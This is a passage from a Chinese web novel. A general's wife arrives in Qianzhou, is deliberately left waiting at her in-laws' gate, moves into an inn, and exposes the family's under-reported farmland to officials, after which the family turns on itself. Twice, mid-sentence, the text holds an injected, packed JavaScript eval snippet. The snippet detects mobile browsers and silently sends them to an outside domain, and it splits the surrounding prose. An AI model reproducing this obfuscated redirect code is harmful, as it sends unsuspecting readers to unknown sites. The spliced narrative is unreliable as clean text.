才出门几日,晕车的晕车,晕船的晕船。 虞声笙恨铁不成钢:“你看看你们,有什么用呀……不就是坐船么,看看外头烟波浩渺,风景正好,眼睛都不够使的了,怎么还头晕想吐呢?” 金猫儿连连摆手,表示自己不中了。 今瑶比她强些,但也软软地歪在一旁。 “快别说了,姑娘。”今瑶强忍恶心,一时都忘了改口称呼,“咱们几个确实比不得姑娘,让姑娘受罪了……如今姑娘身边也没个得用的,让我歇会儿,等下给姑娘上茶。” 虞声笙:…… 还上茶,瞧她上炕都费劲了。 没人照顾也没关系。 反正乡野之时,她也是一个人洒脱过来的。 前头是闻昊渊他们所在的官船,远远地在领路,后面跟着的都是高门府邸或是皇商官商的运船,这么瞧着,倍有安全感。 她让萱妈妈给她们几人上了舒缓的热茶,自己只身一人出了厢房,来到甲板上。 然后又让小厮取来了早就备好的渔具。 她早就想好了,到了船上要么钓鱼,要么捞鱼,总归要好好玩一把。 只是这船太高,钓鱼是不成了。 她便让人将鱼篓放下去,这放置的位置也颇有讲究。 虞声笙正色道:“待三个时辰后捞起来,里头的收获就是今晚的菜。” 不等三个时辰,鱼还没捞,闻昊渊就先过来了。 他是乘着一艘小船来的。 还带来了防止晕船的好药。 第145章下马威 虞声笙又惊又喜,忙往他身后瞧了又瞧,像是小时候偷偷摸摸去厨房找东西吃似的,挽着男人的胳膊压低声线:“你怎么过来了?没人跟你一起么?我是说……太子殿下竟也愿意你过来?” “无妨,我回禀太子,太子是知情的。”闻昊渊见她这副模样只觉得有趣,眼底的笑容加深了好些,“殿下知晓咱们府上的船跟在后头,我放不下你,过来瞧瞧不是人之常情;况且,我也不能久待,陪你用个晚饭就要回去了。” “好。” 虞声笙并不在意丈夫来的时间短。 在她看来,闻昊渊有心来陪伴,这就足矣。 说话间,奴仆们将鱼篓捞了上来,里头果真有几条又肥又大且活蹦乱跳的江鱼。 虞声笙眼睛一亮:“赶得早不如赶得巧,今儿你算是有口福了,咱们晚上做葱姜烩鱼,再烤一条给你吃,保准你喜欢。” 说罢,她便指挥奴仆们忙活开了。 有些她瞧着不对的地方,就卷起袖子自己上。 看她操着菜刀,不过两三下就将一条鱼料理得清爽干净,那动作干脆利落,一丝多余都没有。 闻昊渊也是奇了。 再也没想过,有朝一日,他会从媳妇杀鱼的动作中觉得她好看。 晚饭摆得丰盛。 江鱼之鲜美,自是一般菜肴比不上的。 尤其是那道葱姜烩鱼。 瞧着材料一般,也没什么稀奇,吃起来却鲜甜肥美,就着这道菜,闻昊渊又多用了两碗饭。 见他喜欢,虞声笙笑了:“我就说好吃吧,这鱼还是肥了点,要是庄子上那种小河流里钓上来的小鱼,用了鸡油炸了,炸得那骨头都酥脆,再用熏菜这么一拌,又麻又辣,特别下饭。” “你吃过?” “当然,原先在庄子上的时候,这些都是拿来添菜的好东西呢。” 虞声笙从不避讳自己自小长大的地方。 那时候庄子上的生活清贫,并不富足,前来照看她的两位婆子也不苟言笑,很是严苛,但对虞声笙来说,那也是一段自由的岁月。 望着妻子眉眼间荡漾开的洒脱,那是满满的生机。 闻昊渊从未在其他大家闺秀的脸上看过这样的生动,当下越发喜欢。 二人嘀嘀咕咕说了一会儿,到时间闻昊渊才依依不舍地离去。 走之前,虞声笙让他带了两条烤鱼回去。 船上的热闹又安静了下来。 白帆如云,浮于江面,风阵阵,雾轻轻,顺流而下,一日千里。 又过了一段时日,他们总算靠岸了。 先过定州,再抵达乾州。 大约是这一路顺风顺水,虞声笙算了一下日子,竟比出发前预估的还少了些时间,他们能提前五日抵达乾州。 太子一行要在定州多留几日,虞声笙却不想等。 她与闻昊渊商议了一番,等休整好的翌日,便让府中奴仆家丁整顿车马箱笼,先行往乾州而去。 闻昊渊千叮万嘱:“你先过去,左不过一旬我就到。” 虞声笙笑道:“怕什么,我又不是纸糊的,他们还能吃了我不成?” 有句话说得好,凡事不能讲得太满。 待她抵达乾州赵府门口,突然明白了这句话的深刻含义。 赵府的大门略微掉漆,依旧能看出曾经的辉煌。 那象征着森严等级的门钉兽首皆是金铜色,一眼望去,满是肃穆。 原先的匾额仍在,写着乐安府。 说是赵府,实际上还是黎阳夫人的丈夫乐安公的府邸。 只不过如今早已没有乐安公,有的是剩下的赵家家人。 赵大伯母偕赵阅儿下了马车。 一见熟悉的大门,赵阅儿忍不住红了眼眶,好像这些时日当真吃了不少苦头似的,小嘴抿紧,几乎落泪。 赵大伯母要面子,装模作样地跟虞声笙道谢,还说自个儿进府,便告知其他耆老长辈,说是府里来了贵客,回头再从正门迎虞声笙进府。 赵大伯母这话说得很是巧妙:“不管怎么说,你远道而来,又是晚辈,该有的尊重体面还是要有的,你且略等一等,我去去就来。” 虞声笙毕竟没有在闺阁之中受训长大。 也不曾自幼跟在张氏身边待人接物。 很多东西,都是她过往几年内囫囵吞枣硬学会的。 像这样暗中来事的,她根本没法子第一时间察觉到不对。 赵大伯母进去后没一炷香的功夫,虞声笙身边的萱妈妈就开口道:“夫人,老奴觉着不对,夫人此番前来并非隆重之行,且您又是晚辈,怎可能让夫人从正门入?” 萱妈妈顿了顿,又道,“夫人您瞧,这上头挂着的还是乐安府的匾额,论品阶乐安公可是与咱们将军平起平坐的。” 虞声笙恍然大悟。 赵大伯母是让她在门口干等着,徒增一个笑话啊。 她被气笑了:“什么人呀这是,谁稀罕她家一口茶不成?” 这会子,进了内宅的赵大伯母吩咐奴仆备热水,她痛快地洗去了一身的疲惫与慵懒,重新梳妆更衣后,她对着镜子冷冷笑道:“让她在外头等着好了!敢这般拿捏我与阅儿,合该吃这个下马威!” 她身边的婆子忙不迭地拍马:“还是太太机敏,想出这么个招儿来,那京城来的贵妇想必还没想明白吧?咦,这就怪了,若是京中闺阁教养出来的闺女,还看不明白这也太蠢了。” “你有所不知。” 赵大伯母悠长地叹了一声,“这位将军夫人是养女来着,原先就养在乡间,能有什么见识?” “原来如此……” 赵大伯母不慌不忙吃了一盏茶,又用了些个糕饼果子,寻了管事奴仆过来回话,如此一连串下来,过去了将近一个时辰。 她笑呵呵道:“哎呦,瞧我这记性,一回到府里什么事儿都来找我,这忙呀就忙忘了,都把人将军夫人晾在门口——快,快去请她进来。” 不一会儿,丫鬟匆匆来回话:“太太,门口没人呀。” “没人?”赵大伯母面色一沉,“门房怎么说?” “门房说,原先那队车马没等一会儿就走了。” “走了?”赵大伯母吃惊,“往哪儿走了?” “门房说顺着大街往东头那边去了。” “他们也没说什么?那为首的夫人呢?也没说话?”赵大伯母只觉得奇怪,事情超出自己的预料,一时间有些心慌。 丫鬟摇摇头:“什么话都没有,干脆利落地就走了。” 赵大伯母眉心拧紧,一时间想不明白虞声笙葫芦里到底卖的什么药。 此刻,乾州里最大的客栈已经被虞声笙包了下来。 客栈老板欢喜坏了,笑容堆满脸,忙让小二忙得脚不沾地,还专门腾出了两间干净的柴房供客人摆放箱笼。 帮忙搬物件的,帮忙牵马喂马的,甚至还专程叫来了年轻丫鬟打水伺候。 虞声笙立在客栈大堂里往上看。 她身边立着的就是心花怒放的客栈老板。 “这位贵人您瞧着,这上头都是新装修缮的上房,每一间都是,保管您住着舒心,若有什么不妥的,贵人尽管开口,只要能办到的,小店必定让您满意。” 虞声笙微微一笑:“不错,先让我的人安顿下来。” 第146章游玩,放风,她也不会落下正事 只要银子使到位,还怕会流落街头么? 赵大伯母想用这一招逼得她下不来台,未免也想得太美了。 虞声笙从不为难自己。 既然进不了乐安府的大门,那她就另寻住处,横竖乾州这么大,一个像样的客栈还是能找到的。 你看这不就是? 住着上好的厢房,用着热茶热水。 身边的丫鬟们有条不紊地打点着箱笼,外头的奴仆们也有板有眼地忙活起来,清点人数,盘好行囊,还有那管事婆子早早接手了客栈厨房,这会子热乎的糕饼已经上了蒸笼;专管虞声笙餐食的妈妈已经来回过话了,说是晚上吃些乾州特色小炒如何? 虞声笙惊喜:“妈妈还会做乾州小炒?” 那唤作常妈妈的婆子生得富态白净,常年在厨房里劳作,让她整个人看起来都喜气洋洋,带着一身的烟火气。 常妈妈笑道:“老奴原就是乾州出来的,自然会的。” “那敢情好,今儿算我有口福了,妈妈赶紧去炒来,我就等着享用了。” 常妈妈笑着退下。 金猫儿与今瑶联手,指挥着其他几个大丫鬟,很快便将虞声笙这头打点妥当。 金猫儿来回话:“夫人,外头车马已安顿,其他人也都住了下来。” “好。”虞声笙满意地轻轻颔首,“这段时日车马劳顿,又有大半时间是在船上度过的,这几天让他们好好松快松快,明日起也可去外头逛逛,看看乾州的风土人情;只一点,看守的人可不能少,轮值的人也断不能马虎。” 金猫儿正色道:“夫人尽管放心。” 说罢,她便出门去了。 今瑶凑过来:“夫人,咱们就这样住在客栈里么?” 瞧她怯生生的模样,虞声笙当然明白她在想什么。 “怕什么,客栈地方虽不宽裕,但好在干净自在。” “奴婢不是怕自己吃苦,跟着夫人去哪儿都成,只是奴婢怕那赵府这样给夫人下马威,夫人面子上过不去。”今瑶咬着下唇,面上流露出些许怒意,“那赵府的大太太也太过了些,论品阶,夫人远在她之上,她便是给夫人磕头敬茶也不为过的。” “谁要她磕头敬茶,我还怕折了寿呢。” 虞声笙笑道,“好今瑶,不妨事的,如今瞧着是我被压了一头,可时间还长远着,咱们走着瞧。” 很快,赵大伯母那头已经打听到虞声笙一行人住进了乾州最好的客栈,并且很财大气粗地将客栈上下都包圆了,可以说眼下那个客栈内外都是虞声笙的人。 赵大伯母一计不成,心中憋闷。 “果真是个没规矩的丫头,乡野长大能成什么事,好端端一个夫人,居然学人家抛头露脸,住到客栈里,也不怕给自家将军丢了颜面。” 一婆子担忧:“那咱们就这么看着么?” “哼,她想替那黎阳夫人出头,就要忍得住这羞辱,不让她进门是我的主意,她要住客栈是她的决定,横竖又不让咱们使银子,咱们慌什么?” 赵大伯母眼珠子一转,“想必这也是个心高气傲了,你等几日派一个体面的媳妇去请,就说我刚回府,事情多庶务忙,一时懈怠了,瞧她来不来吧。” 那婆子欢喜地应了一声便出去了。 赵大伯母晾着虞声笙,还以为她会在客栈里过得憋闷。 谁知头两日休整好了,虞声笙便带着丫鬟奴仆们去乾州乡野田间肆意玩乐,那漫山遍野的绿荫,还有树杈上结的野果, 旁人分辨不出,但虞声笙一眼就能判断。 吃着各种野味,在广阔天地间简直肆意洒脱到了极致。 几天玩下来,就连最守规矩、最一丝不苟的萱妈妈也浮现出了几分俏皮欢乐,尤其尝了一口鲜甜多汁的野果,她嘴角抿紧上扬,口中还不断在提醒:“夫人等过几日可不能这样了……” 虞声笙一面应着,一面笑呵呵地打着马虎眼。 白天放风玩耍,晚上挑灯夜忙。 一连数日,虞声笙画下的图纸就不下二三十张。 金猫儿瞧她画得认真,忙又点燃了几根烛火。 今瑶将灯芯剪了,又拨了拨,让灯光更明亮了些。 “夫人,仔细眼睛。” “再画一会儿就收工了。”虞声笙头都不抬,估摸着道,“咱们明日往西边去,再玩个三五日就差不多了。” 今瑶松了口气:“好。” 她可真怕自家夫人玩得乐不思蜀。 可瞧瞧晚间时分虞声笙这般认真的模样,她又觉得是自己多想了。 “夫人。”今巧过来了,“今儿赵府派人来问,问夫人您何时过去,负责接待的小厮依着夫人交代的都说了。” “知道了。”虞声笙头都不抬,“这是第几次了?” “第四次了。”今瑶瞬间了然,忙接上。 “才第四次呀,不着急。”虞声笙手稳心明,不急不缓地继续画着,“再等等好了,人家给我一个下马威,我若不回敬岂不是说不过去,来而不往非礼也,这道理我还是明白的。” 接下来几日,一行人又去城西逛了数日。 期间赵大伯母自然是日日派人来问, 表面功夫做得滴水不漏。 这一天,虞声笙将画好的图纸理了理,领着金猫儿和今瑶,还有几个身强体壮的小厮直奔乾州官衙,将那些图纸一股脑递交了上去。 下午晌,赵大伯母正在歇午觉。 婆子火急火燎地过来传话:“太太,太太……老爷叫您呢,让您赶紧去前头书房,说是有要紧事。” 赵大伯母正睡得酣甜,冷不丁被吵醒,火冒三丈。 “他找我作甚?这么多年也没来过,他不是把一片心都放在那几个狐狸精身上了么?” 骂归骂,赵大伯母还是利落地更衣出门。 一到书房,见到丈夫发黑的脸,赵大伯母心头咯噔一下。 “你瞧瞧你做得好事!!京城来人,你为何不与我说?”赵大老爷见着妻子,张口就是一通咆哮。 “京城来什么人了?”赵大伯母还嘴硬。 “你跟我说清楚,你是怎么回来的?是不是搭了威武将军府的车马?那将军夫人都到乾州了,又与咱们府上连着亲呢,你怎能让她住到客栈去?” “有人跟老爷告状?”她冷哼,“是她自己住过去的,我不过是先进门让人料理出一处空置的院落,她连这点子时间都等不起,这也怪我?如今还差人跟老爷你告状,当真是大户人家夫人的所为,啧啧啧。” “没人告状!” 赵大老爷只觉得太阳穴突突地疼。 “她这段时日将咱们府里城郊的田地庄子都走了一遍,然后拿着自己绘制的地图去了一趟官衙,说咱们谎报田地面积,原本报上去的与实际拥有的差了最少一半!” “啊?” 赵大伯母还没明白,两眼发直。 见她这般,赵大老爷只能把话说得更直白:“就是她发现了咱们实际拥有更多的田庄,这交上去的地图就是在说咱们府里偷缴赋税!!” 这下赵大伯母听懂了,脸刷的一下惨白:“怎、怎会这样……这丫头瞧着年纪轻轻,她怎会这些?” “我怎么知道!” 第147章回旋镖 赵大老爷见老妻如此,越发火冒三丈:“原先就与你说过,凡事不要自个儿拿主意,多与我来商议,咱们夫妻我难道还能害你不成?!” “可你总也不来我屋中,倒是往那几个香艳年轻的房里跑得勤,我能怎么办?”赵大伯母也很委屈。 “放屁!我何时跑得勤了?” “前日和昨个儿你都去了。” “谁家老少爷们内宅里没几个妾室通房,你都多大年岁了,咱们自己都是抱孙子的人了,还整日计较这些个!” “那你还不是整日惦记着这些个花花草草、莺莺燕燕的!” 论吵架,赵大伯母从没输过场。 哪怕面对的人是丈夫,她也绝不落了下风。 赵大老爷吼了两句,只觉得脑瓜子嗡嗡的难受,知晓再这么纠缠下去,他们两口子就要在这个问题上绕着出不来了。 他摆摆手,头疼似的揉了揉后脖颈,“不说这个,咱们先说官府来人,这田庄的事情如何办。” 赵大伯母脸色一沉:“还能怎么办,就跟往常一样,多塞点银子不就好了……” “荒唐!今日举告咱们的是威武将军府的夫人,就不说将军夫人这个身份,她还有三品淑人的诰命在身!如今图纸证据俱在,她甚至还去问了田庄里的佃户,怕是连人证都有的,你到底是怎么办事的,怎会多出这么多来?隐瞒不报,可是要论罪处罚的!” 赵大老爷一语道破。 她这才有些慌了神:“不过是之前从二房那边弄到手的田地嘛,你不是说了,不好走明面上,不然弄得太难看,也怕叫人察觉了又要来争抢,我便在地契上动了手脚,反正还是原先的地契,不过是占据的田地多了些,我想着应当不打紧。” 赵大老爷:…… 他皱眉望着老妻,只觉得一阵匪夷所思。 原本他也是要亲自过问这些事的。 但当初是妻子说了,这么点小事还要他插手,那就是不信他们多年夫妻感情了。 赵大老爷虽说平日里更宠爱姨娘,但大场面他还是拎得清的,知道妻子于自己的意义不是旁人能比,且这么多年内宅中管事的一直是妻子,他也就放手让她去办了。 早知今日,何必当初。 这会子后悔也来不及了。 夫妻二人陷入一片沉默。 末了,赵大伯母想起什么似的,眼睛猛地一亮:“对了,咱们可是乐安府,原也不必上税的,把这话摆出来看谁还敢来刁难咱们!” “二弟过世这么久了,咱们里里外外都说没有乐安府了,如今的乐安府就是赵府,人家官衙那边早就有了录入登册,怎么可能糊弄得过去?” 赵大老爷只觉得心累。 关键时刻,妻子总是掉链子。 要是那位闻将军也在,男人和男人之间总归好说话一点。 可偏偏来的是将军夫人。 思来想去,他只好压住愤怒,又拉着老妻谆谆叮嘱。 “你亲自去一趟客栈,务必要将人家请回来,把这事儿捂在咱们自个儿家门内,说穿了是自家的事,只要那将军夫人愿意高抬贵手,官府那头也不会过分的,到时候咱们贴补些银钱,打点些好处应当就无事了。” 赵大伯母一阵抗拒。 但她终究还是点头了。 孰轻孰重,她还是分得清的。 赵大老爷是片刻都不能等,让妻子即刻动身,备上厚礼直奔客栈。 赵大伯母到时,虞声笙还没回来。 硬生生坐着吃了两三盏茶,才把人给等了回来。 却见那虞声笙素白的脸蛋光洁如玉,清凌凌的眸子仿若盛满了碧海星河的璀璨,那一身烟柳色的衣裙越发显得明润干净,迎面而来,宛若春风拂面。 赵大伯母忙起身:“你可回来了,我是特地来接你回府的。” 虞声笙笑道:“大伯母这话我却听不懂了,在乾州,我是客,哪里有什么府邸可以给我回去的?我这一行人住在客栈住得蛮好。” 话音刚落,很会来事的客栈老板就送了热茶水,还有几碟子小菜过来。 “夫人喜欢咱们小店,是小店的荣幸,若有什么不好的,夫人尽管开口,只要能办到的,小店一定竭尽全力替夫人办到。”老板笑呵呵。 这可是个大主顾呀。 客栈上下这么多房间都被住满了。 这么多人,每日衣食住行,马匹还要吃草料,可不得处处要花钱。 这些钱也被客栈赚了去。 老板自然欢喜,越发想留住虞声笙一行,哪怕多一日也好。 “瞧瞧,我在京城的时候可少见这样热情周到的东家。”虞声笙抿唇一笑,托着茶盏浅尝几口,“大伯母今日突然到访,不光是为了请我去府上做客这么简单吧?” 对方挑破了窗户纸,赵大伯母也不想再装了。 “你为何……要去官府告发我们?”她咬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16435814|184842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着牙。 “噢,这样啊,这不是告发。” “哪里不是?你拿着证据去官衙把一切都抖落出来,岂不是叫我们赵府面上无光?说到底都是一家人,你、你这又是何必?” 赵大伯母气得不轻,才说了两句声音都在颤抖。 “我只是实话实说罢了。”虞声笙笑眯眯地放下茶盏,“大伯母这般生气,可是在怪我喽?我家将军说了,普天之下莫非王土,既然发现了这样不公平之事,身为天子亲封的诰命命妇,我怎能视而不见?” “这……” 赵大伯母无言以对。 对方都把皇帝老儿搬出来了,她还敢说什么。 与虞声笙一来二往,她越发明白眼前这个瞧着年轻的主母,其实是个不好糊弄的主。 虞声笙心思细腻,脑子转得飞快,说话滴水不漏,偏偏还笑靥如花,叫人挑不出错处来。 几次三番下来,赵大伯母忍不住冷汗津津,一阵懊悔。 早知对方如此棘手,自己又何必多此一举,还给什么下马威…… 如今可好了,对方有没有吃到这下马威还尚且未知,但自己绝对是吃不了兜着走了。 话说到最后,虞声笙也没松口说跟她回去。 虞声笙笑道:“就不麻烦了,我这里里外外这么多人呢,一股脑都去府上叨扰多有不便,虽说客栈是简陋了些,但胜在干净爽利,东家也客气,我瞧着就蛮好。” 一旁的客栈老板连连点头,嘴角笑得根本压不住。 “大伯母若是介意官府那头,那这样好了,容我这边休整两日,待得空了我便登门拜访,咱们再好好说道说道。”虞声笙嫣然一笑。 就这样,赵大伯母铩羽而归。 赵大老爷见无功而返,气得当晚连饭都没吃。 又空等了一日,依旧没有下文。 坐不住的老两口只好再次出发,一齐到了客栈。 这一回总算将虞声笙给请回了府里。 绕过东西双廊,便是正规待客的花厅。 赵大老爷明显要摆足诚意,一应熏香摆件都拿出了最好的,就连茶水果子也是平日里难得一见的。 赵大伯母瞧在眼里,酸在心头。 她忍不住腹诽:娘的,我娘家人上回来都没这待遇! 心里念头一起,看向丈夫的眼神就嗖嗖带着刀锋。 赵大老爷浑然不觉,还在笑眯眯地给虞声笙让座。 第148章出路 虞声笙笑得温婉:“二位都是我的长辈,咱们两家又拐着弯连着亲,纵然不看别的,也要看在我家姑母的面子上,你们就不必这样客气了,咱们有话就说。” 说罢,她便落座。 赵大老爷笑呵呵道:“你这话我就爱听了,对嘛,本就是一家人,何必闹得脸红脖子粗的,你姑母原就是我们弟妹,有道是打断骨头还连着筋呢,何况是这样亲近的关系。” “是啊。”赵大伯母总算想起自己的身份,忙不迭地坐在虞声笙身边,与坐在上首的丈夫刚好相对。 夫妻二人一齐对着虞声笙笑,隐隐有种莫名的压迫。 “原先我与阅儿在府上多有叨扰,今日你既到了乾州地界,怎么说也该是咱们尽一尽地主之谊。”赵大伯母干巴巴地笑着。 “我还以为大伯母不欢迎我呢,那一日在贵府门外等了许久,我年轻,不懂事,脸皮又薄,哪里晓得这其中的门道,自然不愿给大伯母添麻烦,这闹腾起来岂不是叫外人白白看笑话?” 虞声笙明朗道。 “哪里话,是底下婆子不懂事,把话给听岔了,白白叫夫人在府门外空等,是我的不是了。” “大伯母这么说就是折煞声笙了,我不过是晚辈。” “你虽为晚辈,却能这样得体谦和,进退有度,我家那几个儿郎闺女怕是连你一根指头都比不上呢。” 一番你来我往的吹捧,听得虞声笙一阵痛快。 捧起茶盏时,她还是难免好笑。 长这么大,这是头一回有人这样夸她。 刚回虞府那会子,谁不说她粗鄙野蛮,不懂礼数。 今日可好,竟还有长辈说自己的女儿及不上她的一根指头。 赵大老爷在一旁听着,多少有些不耐烦。 兜兜转转的,还没进入正题,女人就是罗里吧嗦…… 他横了妻子两眼,后者总算领会到了他的意思,忙清了清嗓子:“既是一家人,咱们又把误会都说开了,往后才能常来常往的——对了,夫人去官府一事,咱们可要商量一下才是。” 虞声笙闻言,唇边的笑容凝固了,缓缓看过来。 触到这双眸子,赵大伯母没来由地心头一紧。 她定了定神,还是开口道:“夫人也是知晓的,像咱们这样大户人家,城郊有的是田庄地皮,日常管理起来难免也会有疏漏,就比方今日这事,确实是我没能顾到,叫夫人辛苦一场;只是这样闹了,难免不好,横竖也不是什么大事,咱们这头补上地契和税银,这事儿就这么过去吧,夫人的意思呢?” “事情出了自然是要解决的。” 虞声笙轻轻颔首,“但不是像大伯母说的这样解决,你这样办,怕是没有办到我的心坎上。” 她的笑容那样轻快自然。 好像不是来兴师问罪的,反倒将这对夫妻当成逗弄的玩具。 轻描淡写中带着上位者的矜持倨傲。 此刻,花厅之外。 赵阅儿听说威武将军府的夫人来了,一张俏脸气得涨红。 “来就来吧,谁怕她不成?这里可不是她的将军府了,她还能在这儿耀武扬威么?”赵阅儿想起过往种种,就越发愤怒。 身边的丫鬟劝都劝不住。 她非要去前头观望一番,想看看他们到底在说什么。 只见那花厅大门打开。 “是爹爹娘亲!”赵阅儿轻叫出声。 但很快,她就察觉到赵大老爷夫妇二人脸色难看。 几乎是强撑着嘴角的笑容,笑得那样言不由衷。 他们俩依旧恭恭敬敬送了虞声笙出门。 言行举止间不难看出他们的态度。 赵阅儿见状,咬紧下唇,眼睁睁目送着虞声笙离去。 人刚走,她便冲到父母跟前:“爹,你干嘛对那个女人那样客气,她配么?你都不知道,我与娘在她府里受了多少委屈刁难!” 赵大老爷正心烦气躁。 冷不丁被骄纵的女儿当面一吼,他顿时心情更糟了。 但赵阅儿毕竟是被他捧在掌心里疼爱了多年的闺女,他并未第一时间就露出不耐,而是淡淡道:“没你的事,赶紧回房。” 没有得到父亲的宽慰,赵阅儿越发愤愤不平。 “爹,女儿所言句句属实,那什么将军夫人根本不是她明面上表现出来的样子,她心思深沉,可坏得很!” 赵大伯母明白丈夫此时此刻的想法,忙瞪了女儿一眼:“听你的爹的话,赶紧回去。” 她又吩咐赵阅儿身边的大丫鬟凝枣把小姐带回房。 赵阅儿火了:“娘,您怎么也向着那女人?就不该让她进咱们府门!” “够了!” 赵大老爷的窝火彻底被点燃,“你若不回房,那就自己去祠堂里领家法!” “为何……要打我?” 赵阅儿吓了一跳,泪水一下子涌出。 “你看看你这骄纵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442537|184842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任性的模样,哪里还有半点大户人家的千金小姐的模样?动不动就耍小孩子脾气,你如今也及笄了,日后嫁去婆家难道也这副模样么?别丢了我赵家的脸才是!” 他怒气冲冲,负手疾奔,根本不给女儿半点开口的机会。 声音一路传出去很远。 周围正在忙活的奴仆一个个屏气凝神,大气都不敢出。 赵阅儿哪里被这样当面训斥过,一时羞愤难当,提着裙摆飞奔离去。 依着以往的习惯,赵大伯母定是要跟上去好好宽慰女儿一番的。 但今日,她也是有些六神无主,一时顾不上。 望了望女儿离去的方向,又看了一眼丈夫的背影,她咬咬牙跟着丈夫走了过去。 屋内,夫妻二人俱面色难看。 沉默许久,赵大伯母试探道:“她不会真是这个意思吧?” “这不是明摆着的么?” 赵大老爷一声轻哼,又是憋闷又是不屑,“我倒是小瞧这女人了,看着年纪轻轻的模样,没想到手段这样老练,面对咱们两个人,她竟是半点胆怯都没露,好个厉害角色。” 顿了顿,赵大老爷仿佛自嘲似的又笑了,“要是咱们阅儿能有这一半的城府,我也放心了。” 赵大伯母却笑不出来。 其实丈夫不知情,但她却心知肚明。 她们母女在将军府里的种种,人家虞声笙也是了然于心。 被蒙在鼓里的唯有赵大老爷。 可赵大伯母能说么? 她可没这胆子…… 事情已经闹成这样,她也只能怯怯问道:“难不成真要将二房原先的那些田地还回去?那可不少呢,光是城南那一片就有七八百亩之多,而且都是上好的良田。” 不是她舍不得,而是东西太多太好了。 已经被紧紧攥在手里,品尝过拥有的滋味,哪能轻易罢手? 不愧是夫妻,赵大老爷也是这样想的。 久久无言后,他来了句:“先走一步看一步,要么……退一部分,叫这将军夫人拿了好处,往后也不会再与咱们计较。” “对对!说得对!”赵大伯母眼前一亮,“她定是也想分一杯羹,若非如此,又怎会盯着咱们不放?好个自诩清高,为民为国的淑人奶奶,骨子里一样透着铜臭味!” 她自觉找准了方向,原先的不安减轻了不少。 她刚走,赵大老爷便着人叫来了之前一同赴京的管事。 第149章糟糕,麻烦大了 这管事约莫四十岁上下。 原先就跟在赵大老爷身边当差的。 上回妻女二人要远赴京城,赵大老爷多有放心不下,便差遣了这管事随行。 管事姓杨。 性子本分,人也勤快,办事有条有理。 这么多年下来,赵大老爷最满意的,就是他了。 那杨管事到了跟前,听自家主子这么一问,顿时面露难色。 “有什么不妥当的,你只管说便是,在我跟前还须吞吞吐吐的么?”赵大老爷催促。 杨管事应了一声,忙将赵大伯母与赵阅儿在威武将军府的行径说了一遍。 倒也没有添油加醋,甚至有些地方这位好心厚道的杨管事还替太太和小姐遮掩了几分,即便如此,还是听得赵大老爷火冒三丈,没等听完就狠狠砸了一只茶杯。 “简直胡闹!” 他雷霆大怒。 怪道那将军夫人笑得总有些阴阳怪气。 他还以为是对方拿不出台面,心胸狭窄。 没想到其中还有这样一桩故事。 他的妻女竟越过他,想要自作主张,贪图那将军府的富贵。 这事儿要是做成了便罢了,赵阅儿年轻貌美,即便为妾,那也是一品军侯的姨娘,可要比嫁给一般官宦人家做正房强得多。 可偏偏……这事没成! 不但没成,妻女二人还被人家将军夫人亲自送了回来。 丢人丢大了。 这一刻,赵大老爷恨不得给自己找个地洞钻进去。 他也不是个隐忍的性子,当即便将妻女叫去了祠堂。 赵大伯母一见丈夫的表情,心头咯噔一下,暗道不好。 赵阅儿还浑然不觉,自顾自地沉浸在不满委屈中,还觉得父亲从未像今日这般严厉,明明自己也没做错什么,实在是冤枉了。 赵大伯母斟酌着如何开口。 却听丈夫冷冷来了句:“跪下。” 她哪敢反抗,忙不迭地膝盖一软,当着那一排黑漆漆的灵位跪在了柔软的蒲团上。 赵阅儿噘着嘴,慢了半拍,也犹犹豫豫地跪在母亲身后。 “你们可知错在哪儿?” 赵大伯母扯了扯干巴巴的嘴角:“老爷何苦这么大火气,都是误会……” “爹爹也未免太偏心了,那什么劳什子的夫人才来一趟,你就这般为难我与母亲!家法不够,还要跪祠堂么?女儿到底做错什么,母亲做错了什么,要叫爹爹您这样羞辱?” 赵阅儿憋不住了。 那泪珠儿如断了线的珠子,簌簌落下。 她本就生得秀美,这么一哭,宛若梨花带雨。 要是平常时候,赵大老爷见她这般,早就心疼不已,哪里还敢说半句重话。 赵阅儿也是这样想的。 话音刚落,她迎面就挨了一巴掌! 霎时,耳边嗡鸣,脸皮火辣辣地肿胀起来。 “为父竟不知,教导儿女还要看你的脸色行事喽?让你跪你便跪!当着祖辈牌位,你也敢呛声,真是平日里把你惯坏了,惯得你不知天高地厚!也不掂量掂量自己几斤几两,才去了一趟京城,就做着飞上枝头变凤凰的美梦!” “结果叫人家夫人亲自送回来,你还好意思嚷嚷,我都替你臊得慌!” 赵阅儿一听,顿时目瞪口呆。 她去看母亲。 赵大伯母心虚慌张,垂着眼睑不敢开口。 果真被丈夫知晓了……这下完蛋了。 赵大老爷是虚伪贪财,也眼瞅着二房的财物多时,但他同样也很在意名声脸面。 这事儿要是水过无痕,还则罢了。 如今人家都登门了,赵大老爷这样一个自尊心极高的人,如何能忍得了这份羞辱…… “还有你,你是怎么做人母亲的,竟纵着她这般行径!从前的女德女戒都读进狗肚子里了吗?!人家夫妻刚新婚才多久,你就这样上赶着去,亏你素日里自诩是什么高门大户的太太!” 赵大老爷越骂越起劲,越骂越难听。 老妻听不下去,颤颤开口分辩:“我这……不也是为了咱们家阅儿着想么?你想啊,若她能留在那一品军侯府,以她的品貌手段,要博得那将军的宠爱不是什么难事;我想着,咱们与二房闹崩了,京城那头总要有人能说上话。” “你想得美呢!” 